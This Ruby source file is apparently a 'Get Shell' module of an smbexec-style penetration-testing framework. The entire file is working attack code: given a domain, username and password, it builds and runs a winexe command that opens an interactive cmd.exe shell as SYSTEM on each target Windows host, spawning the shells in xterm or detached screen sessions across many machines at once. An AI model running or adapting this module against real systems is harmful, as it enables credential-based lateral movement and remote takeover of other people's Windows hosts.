require 'poet'

class Getshell < Poet::Scanner
	self.mod_name = "Get Shell"
	self.description = "Open basic command shell on target(s)."
	self.invasive = true
  self.title = 'Interactive Windows Shell'

	def setup
		@skip = false
		puts 

		# Warn user if they are opening an absurd number of shells
		if Menu.opts[:hosts].count > 5
			@toomany = ''
			until @toomany =~ /^(y|n)$/
				print "Are you sure you want to open shells on #{Menu.opts[:hosts].count} boxes? [#{color_banner('y')}|#{color_banner('n')}]"
				@toomany = rgets.downcase
			end
			@skip = true if @toomany.eql? "n"
		end

		@timeout = 0
		
		if Menu.opts[:xterm]
			@xterm = true

			# Quick check to see if xterm exists
			xtermtest = `xterm -version`
			if not xtermtest =~ /XTerm\(\d+\)/m and Menu.opts[:xterm]
				@xterm = false
			end
		else
			@xterm = false
		end
	end

	def run(username, password, host)
		# Start the shell
		unless @skip
			creds = %Q{-U "#{Menu.opts[:domain]}/#{username}%#{password}"}
			cmd = ''
			if @xterm
				cmd = "xterm -geometry -0+0 -T #{host} -hold -e /bin/bash -c -l '#{Menu.extbin[:smbwinexe]} #{creds} --uninstall --system //#{host} \"CMD.exe\"' &"		
			else
				# If not xterm, try putting shells in screens
				screen = "screen -dmS smbexec_cmd_#{host}"
				cmd = "#{screen} #{Menu.extbin[:smbwinexe]} #{creds} --uninstall --system //#{host} \"cmd.exe\""
			end
			log(cmd) { system(cmd) }
			@success = @success + 1
		end
	end

	def finish
		puts
		# Display if screened or not
		if @xterm and Menu.opts[:xterm]
			puts "#{highlight(@success)} Shells spawned"
		else
			puts "#{highlight(@success)} Shells spawned in screens"
		end

		puts 
		
		# Return to menu
		print "Press enter to Return to Exploitation Menu"
		gets
	end
end
